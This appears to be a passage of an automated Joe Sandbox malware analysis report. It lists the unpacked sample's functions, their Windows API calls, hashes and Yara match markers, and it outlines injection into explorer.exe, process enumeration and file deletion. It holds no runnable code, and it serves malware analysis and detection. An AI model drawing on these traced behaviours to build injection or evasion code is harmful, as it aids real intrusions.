Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8de000_oBuf.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 76ae1e77e353c74b21ff8b5cc353b5cdb83bdec68eceaa28a8f1ddf054e98619
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 1EF096322007556BDB203BFAAC8DBAE76ECFF8A724F100529E657D24C0DB70ED458661

Function 006A003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 006A024D

Strings

kernel32.dll, xrefs: 006A008F, 006A0095
cess, xrefs: 006A018D

Memory Dump Source

Source File: 0000000C.00000002.1426113071.00000000006A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6a0000_oBuf.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: edfa6b35737d46774f892f9e838a511c53124eeea6e349ba935a860513cbf214
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 0A526874A01229DFDB64CF58C985BA8BBB1BF09304F1480D9E94DAB351DB30AE95DF14

Function 00418770 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00513D70), ref: 0041884F
GetProcAddress.KERNEL32(00000000,0041E298), ref: 0041888C
VirtualProtect.KERNELBASE(00513BB4,00513D6C,00000040,?), ref: 004188AB

Strings

, xrefs: 004187B5

Memory Dump Source

Source File: 0000000C.00000002.1425704259.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_40b000_oBuf.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-3916222277
Opcode ID: ff9a43801e185d10054e4e34767694ffcb7e86b2b941098a4c4c71e4807009e3
Instruction ID: 2b977b853b8716191c274d39b2deee1532fc6552ce3022b0d9a41b083186e0cb
Opcode Fuzzy Hash: ff9a43801e185d10054e4e34767694ffcb7e86b2b941098a4c4c71e4807009e3
Instruction Fuzzy Hash: D8316F18508780CAE301DB79FC257823F6AAB75744F04D0ACD54C8B3B1D7BA5618E36E

Function 006A0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,006A0223,?,?), ref: 006A0E19
SetErrorMode.KERNELBASE(00000000,?,?,006A0223,?,?), ref: 006A0E1E

Memory Dump Source

Source File: 0000000C.00000002.1426113071.00000000006A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6a0000_oBuf.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: a812bd8a4e5226da291cda7890492f087020d928e330f1a56def5d4e73e5cff5
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 90D0123114512877DB003A94DC09BCD7B1CDF09B62F008451FB0DD9180C770994046E5

Function 0040190E Relevance: 1.3, APIs: 1, Instructions: 66
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 2faec9f74094ce0f08c74674007c6dc18df4c3c5133ab61c0808bb95c55d4a7d
Instruction ID: c3efed824753038ef125f202698f45fd900918c8f6410fb3a7b527937a7c5fc5
Opcode Fuzzy Hash: 2faec9f74094ce0f08c74674007c6dc18df4c3c5133ab61c0808bb95c55d4a7d
Instruction Fuzzy Hash: D811BFB220C204EBEB00AA908C52EAA3754AF05710F248137BA42791F1C57D9A13F75B

Function 008E11BE Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 008E120F

Memory Dump Source

Source File: 0000000C.00000002.1426518576.00000000008DE000.00000040.00000020.00020000.00000000.sdmp, Offset: 008DE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8de000_oBuf.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: bb755456eb7ef897614bc9559feffe8a1c64ff4052bae70c6232197470513e02
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 00112B79A00248EFDB01DF99C989E98BBF5FF08750F058094FA489B362D371EA50DB80

Function 00401902 Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 038fd76a8208d0ddfff32e2f40036fbca87feb8e69a48f33ff6f35dc682cef07
Instruction ID: 207861a3759c1b147de2553678edefd9187cc257709d93c52e233f88d5e7a3be
Opcode Fuzzy Hash: 038fd76a8208d0ddfff32e2f40036fbca87feb8e69a48f33ff6f35dc682cef07
Instruction Fuzzy Hash: B70169F1208209FBEB009A908D61EBA3668AB05760F700133BA13781F5D57C9A53E76B

Function 00401922 Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: c88f444a594768d2d4fab485523800559cc166debe3a6fe30cf89bfb996ff5f6
Instruction ID: 578df434b3d236032839297bc76fd9486bb072801922ad90ba2380d7086ecf03
Opcode Fuzzy Hash: c88f444a594768d2d4fab485523800559cc166debe3a6fe30cf89bfb996ff5f6
Instruction Fuzzy Hash: 95F05EB1208209FBEF009F908D61EAA3729AF05710F644137BA52781F5D63CDA53EB1B

Function 0040192B Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 45864dc147576a9e119c499a9794f12b744a0bfa5c226a532e69094f16d3b09b
Instruction ID: b5d34a972f1ec939c421f577379ccf4d396b21f1793fd223155277739043cea6
Opcode Fuzzy Hash: 45864dc147576a9e119c499a9794f12b744a0bfa5c226a532e69094f16d3b09b
Instruction Fuzzy Hash: 5AF05EB1218209FBEB009F908D61EBA3629AF05310F644177BA12781F5C63DDA23E75B

Function 0040193C Relevance: 1.3, APIs: 1, Instructions: 31sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 14db16c3e861f19ad5dfd30c38be67768c01ca1c8fcdc6992631d9b2414dadb5
Instruction ID: c277f467d3f9426b8f9a73765fdcab00a649fd51b95b24d53f0d4f33e3e8ae71
Opcode Fuzzy Hash: 14db16c3e861f19ad5dfd30c38be67768c01ca1c8fcdc6992631d9b2414dadb5
Instruction Fuzzy Hash: F7F037B1108209FBDF009F94CD51EAA3729AF09310F644577BA12781F5C63DDA12E72B

Function 00401932 Relevance: 1.3, APIs: 1, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d565b972daf1ea01d692af33d09a01f0ed4f5aa4668cdc6292c3b22aaefac0ec
Instruction ID: 30c85490bd3e36b3d7497cee73256dee3cb4488b2b17691bada95d8d1bd3f612
Opcode Fuzzy Hash: d565b972daf1ea01d692af33d09a01f0ed4f5aa4668cdc6292c3b22aaefac0ec
Instruction Fuzzy Hash: 33F037B1204205FBDF009F94CD91EAE3629AF05310F644173BA12791F5D67DDA12E75B

Function 00418740 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,00513D6C,00418DAF), ref: 00418748

Memory Dump Source

Source File: 0000000C.00000002.1425704259.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_40b000_oBuf.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 8edb2acf596b02bf36b0311ec2b3e3f34bd0854dc09103549fc4bb4fc422a900
Instruction ID: 68696ac1b9cb92420161d977e59fd9b705cf74f057d8962c0b4e3d7dbc73b596
Opcode Fuzzy Hash: 8edb2acf596b02bf36b0311ec2b3e3f34bd0854dc09103549fc4bb4fc422a900
Instruction Fuzzy Hash: FDB012F0A492009FD700CF54FC64BD03B74F358302F00C061F500C2164EB304908EB10

Non-executed Functions

Function 006A092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 006A095F
GetProcAddress., xrefs: 006A09DC, 006A09DF, 006A09E4
l, xrefs: 006A0966

Memory Dump Source

Source File: 0000000C.00000002.1426113071.00000000006A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6a0000_oBuf.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 950ca7b9e5abbbfde5366c66b5014f758a29023b43122d8a2dbe4e0272f0e847
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 5B3137B6900609DFEB10DF99C880AAEBBF6FF49324F24504AD441A7311D771EA45CFA4

Function 004020EA Relevance: 1.7, APIs: 1, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18f97d7e3c198c930df0e1e3726df986428e5bed6b78be6737e9bf24f670245c
Instruction ID: 1fe14f3d08a5ad6b2b8af3127fa4f425e7ffb0c359c280517f11db711c116789
Opcode Fuzzy Hash: 18f97d7e3c198c930df0e1e3726df986428e5bed6b78be6737e9bf24f670245c
Instruction Fuzzy Hash: 0A716C32400264DADB28EFBCC6CAE557370FB02F00B550BB6C5812F58ADB75B6198B96

Function 008E0DDC Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1426518576.00000000008DE000.00000040.00000020.00020000.00000000.sdmp, Offset: 008DE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8de000_oBuf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 6bb3467bac25ef0b4998f51e68fe399135ddc976cd6cd032a2b3a296fc824639
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 601170723401019FD754DE5ADC91FA673EAFB8A324B298865ED04CB311D6B5EC41CB60

Function 00402379 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c91299fc0d5ea6405d973304b2732cfb05cef970dc5b42c380558f1c3c8a50
Instruction ID: e7a2f1e1f2d18035c496875c0c2bba996cc0d18765e75913e3c7fd8bcbe23822
Opcode Fuzzy Hash: 14c91299fc0d5ea6405d973304b2732cfb05cef970dc5b42c380558f1c3c8a50
Instruction Fuzzy Hash: CA11533600420ADFD715EE219A89AA9BB21FB45704B5400BADE562B0C2A2BD7123970B

Function 0040237B Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ecd1a4c209d5f5235aa5223a66586c749e58f70271c2d5c11b30b858281451a
Instruction ID: d9f06ca26037506423ecc87bc330270b3b45d0e2ffab50e6a8e269eb556b0e13
Opcode Fuzzy Hash: 5ecd1a4c209d5f5235aa5223a66586c749e58f70271c2d5c11b30b858281451a
Instruction Fuzzy Hash: 7411533640820ADFD715EE21AA89AA6BB31FB45704F5400BBDE562B0C1E2BD7123D74B

Function 00402387 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c29bc3172a4a75054b17bc2abf467eb46d0d52112e2b03bc1234d3f1f3eeaba
Instruction ID: 8ab6e973ac2bde56534b905b9a6112487ad567182bc04a9cefd4a17b3c0f3d42
Opcode Fuzzy Hash: 2c29bc3172a4a75054b17bc2abf467eb46d0d52112e2b03bc1234d3f1f3eeaba
Instruction Fuzzy Hash: A6113636504206CFDB15DF20D9895A8B722FB45704B1400BACE522B0C1E37D7113D70B

Function 00402397 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2fb1fcd810030a7c701492efe6b1583806f24c29ad391e8378491e72e53c4f9
Instruction ID: 10c1f8c9815bd1bae344db256f26ecf9b321a2c49f9f40fa9571263b21f216dd
Opcode Fuzzy Hash: c2fb1fcd810030a7c701492efe6b1583806f24c29ad391e8378491e72e53c4f9
Instruction Fuzzy Hash: 17113636404206CFD715DF10AA895A8B721BB55704B14007ACE521B0C1A3BD6113970B

Function 0040239B Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad580f4852e8641318215a16f7c63f70c318642c86c98d9f634171b4294914d4
Instruction ID: f3401649f1529dc56ca8e0e6371485d35b9042d0b2056da4c8f47593e1f5965b
Opcode Fuzzy Hash: ad580f4852e8641318215a16f7c63f70c318642c86c98d9f634171b4294914d4
Instruction Fuzzy Hash: 7701263644420ACFDB1AEF11E9896E8B732FB55704B5401BACE565B0C1E37D6113D70B

Function 0040239E Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d17a2e63e4f1915686b689582fba0273351ae16582c8cdc9572b60fe9b5c197
Instruction ID: ab8b863e00b9434e1dbf8970a3beebb42fa128e0550c32edf730788d57ebd560
Opcode Fuzzy Hash: 0d17a2e63e4f1915686b689582fba0273351ae16582c8cdc9572b60fe9b5c197
Instruction Fuzzy Hash: 1001263640434ACFCB16EF11E9895E4BB32BF45708B4801A6CE565B092E3793122D70B

Function 006A0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1426113071.00000000006A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6a0000_oBuf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 9670c6dc6782615957e8167651f040a8d9d68a0a5bd5790f4f5c73451d1e142f
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 7E0184766016048FEB21EF64C804BEA33E6FF87315F4544A5D50697242E774AD418F90

Function 004189D0 Relevance: 6.0, APIs: 4, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 00418A04
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00418A1F
HeapCreate.KERNEL32(00000000,00000000,00000000), ref: 00418A42
GetNumaProcessorNode.KERNEL32(?,00000000), ref: 00418A51

Memory Dump Source

Source File: 0000000C.00000002.1425704259.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_40b000_oBuf.jbxd

Similarity

API ID: CreateDeviceEnvironmentFreeHeapNodeNumaProcessorQueryStrings
String ID:
API String ID: 2776817195-0
Opcode ID: 87efacac19a89b0c53b9dbb33d5e1312a162f1387c04757d6307752c4e174176
Instruction ID: bd9cb2cda3ccdbb603686fa1a54157cb247b1e4b5f6e470ed3bcac1d3601a900
Opcode Fuzzy Hash: 87efacac19a89b0c53b9dbb33d5e1312a162f1387c04757d6307752c4e174176
Instruction Fuzzy Hash: ED018474A402049BD760EB64EC55BE937B8FB1C755F00807BFA05A72D0DE746E88CB9A

Function 00418950 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

BuildCommDCBA.KERNEL32(00000000,?), ref: 00418964
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00418976

Strings

-, xrefs: 004189AF

Memory Dump Source

Source File: 0000000C.00000002.1425704259.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_40b000_oBuf.jbxd

Similarity

API ID: BuildCommEnvironmentFreeStrings
String ID: -
API String ID: 2991353152-2547889144
Opcode ID: a724ab6c00ba43ed920c74289dad73afc07e5f40d831fe2fe4a3629ab1fe5b50
Instruction ID: b4672369b185086f5e4321c569724b1a241b362aa46ae39454cd2dcc54bfc028
Opcode Fuzzy Hash: a724ab6c00ba43ed920c74289dad73afc07e5f40d831fe2fe4a3629ab1fe5b50
Instruction Fuzzy Hash: 2DF0FCB18242449ADB119BA5DD807FE7B68E709330F51422EED0466240CB794EC59797

Analysis Process: explorer.exePID: 4056, Parent PID: 4836COMMON

Execution Graph

Execution Coverage:	39.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.1%
Total number of Nodes:	228
Total number of Limit Nodes:	22

Executed Functions

Function 08383678 Relevance: 1.9, APIs: 1, Instructions: 404comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE ref: 083836C5

Memory Dump Source

Source File: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, Offset: 08381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8381000_explorer.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: b35aeaa2dabb4e76190c9dece0e8e20c87b044d0080395537af34a5cdc12a271
Instruction ID: faf7f833a78f116cda21f22da05eb77392aa7442ffc7df185baa9e21d9ed5bdb
Opcode Fuzzy Hash: b35aeaa2dabb4e76190c9dece0e8e20c87b044d0080395537af34a5cdc12a271
Instruction Fuzzy Hash: 89E1F834608A4CCFCB94EF28C885EA9B7F1FFA9305F114699E44ACB265DB70E945CB41

Function 0AC43520 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 0AC43574

Part of subcall function 0AC43678: CoCreateInstance.COMBASE ref: 0AC436C5

Memory Dump Source

Source File: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, Offset: 0AC41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_ac41000_explorer.jbxd

Yara matches

Similarity

API ID: CreateInstanceNameUser
String ID:
API String ID: 3213660374-0
Opcode ID: fd6447a474a0c6c4e583e87f53b4852dd761150ae4ae7b776ee82d00e2f1a7d0
Instruction ID: 1b2d87ab1a5b9b0fc081da06fd8dd8bf6f7286aa47a3521eb3261c16a410cb8c
Opcode Fuzzy Hash: fd6447a474a0c6c4e583e87f53b4852dd761150ae4ae7b776ee82d00e2f1a7d0
Instruction Fuzzy Hash: 5511F830B18B4C4FCB90EF6C901876EB6E2EBDC210F510A6E984DC335ADA748D449785

Function 0AC4239C Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 506
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32 ref: 0AC42703
DeleteFileW.KERNEL32 ref: 0AC42710
SleepEx.KERNEL32 ref: 0AC42771
RtlExitUserThread.NTDLL ref: 0AC42779

Strings

|:|, xrefs: 0AC424BC

Memory Dump Source

Source File: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, Offset: 0AC41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_ac41000_explorer.jbxd

Yara matches

Similarity

API ID: DeleteFile$ExitSleepThreadUser
String ID: |:|
API String ID: 2796381497-3736120136
Opcode ID: fbb803279be7c0de3d631b165653baee0dbf7d5d4714adb9b6c3d05972f478bd
Instruction ID: d8dc90a844e430926c4a0b14d3b5b2fbc00dcb855c5e42e3d13bfc36cb8394a7
Opcode Fuzzy Hash: fbb803279be7c0de3d631b165653baee0dbf7d5d4714adb9b6c3d05972f478bd
Instruction Fuzzy Hash: ACE1B531718F488BD769AF6884593BE76D1FB98311F11062EE49FC3241DF74EA42878A

Function 0AC41F94 Relevance: 7.7, APIs: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32 ref: 0AC4201E
CopyFileW.KERNEL32 ref: 0AC4202D
DeleteFileW.KERNEL32 ref: 0AC4203E
DeleteFileW.KERNEL32 ref: 0AC42089

Part of subcall function 0AC449B0: SetFileAttributesW.KERNEL32 ref: 0AC449FF
Part of subcall function 0AC449B0: CreateFileW.KERNEL32 ref: 0AC44A29
Part of subcall function 0AC449B0: SetFileTime.KERNEL32 ref: 0AC44A54

CreateFileW.KERNEL32 ref: 0AC42115

Memory Dump Source

Source File: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, Offset: 0AC41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_ac41000_explorer.jbxd

Yara matches

Similarity

API ID: File$Delete$Create$AttributesCopyTime
String ID:
API String ID: 642576546-0
Opcode ID: 11cbd7d4e9e3daf7bdfec7693b32ce184b43af76b4895d117b786d6ffa4ff202
Instruction ID: 523b1678c9985648f17dfe7715e99e2ae3edcbbfc545c4ee1593754f2aeadab6
Opcode Fuzzy Hash: 11cbd7d4e9e3daf7bdfec7693b32ce184b43af76b4895d117b786d6ffa4ff202
Instruction Fuzzy Hash: 54416C30718A4C4FDBA8AFAC94583AE75D2EBCC610F15417EE80EC3386DE349D069789

Function 0AC43C84 Relevance: 7.6, APIs: 5, Instructions: 72
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0AC43CA6
Process32First.KERNEL32 ref: 0AC43CC5
Process32Next.KERNEL32 ref: 0AC43D10
CloseHandle.KERNEL32 ref: 0AC43D1D
SleepEx.KERNEL32 ref: 0AC43D28

Memory Dump Source

Source File: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, Offset: 0AC41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_ac41000_explorer.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSleepSnapshotToolhelp32
String ID:
API String ID: 2482764027-0
Opcode ID: d87648c068091f5a601a251f696ac908138681014b07281b27555691989c57a1
Instruction ID: dcaf639009242eeb3cf3f56c389302adeba1aea35f8ca2dbd50af97efca65958
Opcode Fuzzy Hash: d87648c068091f5a601a251f696ac908138681014b07281b27555691989c57a1
Instruction Fuzzy Hash: 8B210630228A488FEB18EF24C4887AA72E2FFC8315F19077ED84FDE285DB3485459B15

Function 0838239C Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 506
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32 ref: 08382703
DeleteFileW.KERNEL32 ref: 08382710
RtlExitUserThread.NTDLL ref: 08382779

Strings

|:|, xrefs: 083824BC

Memory Dump Source

Source File: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, Offset: 08381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8381000_explorer.jbxd

Yara matches

Similarity

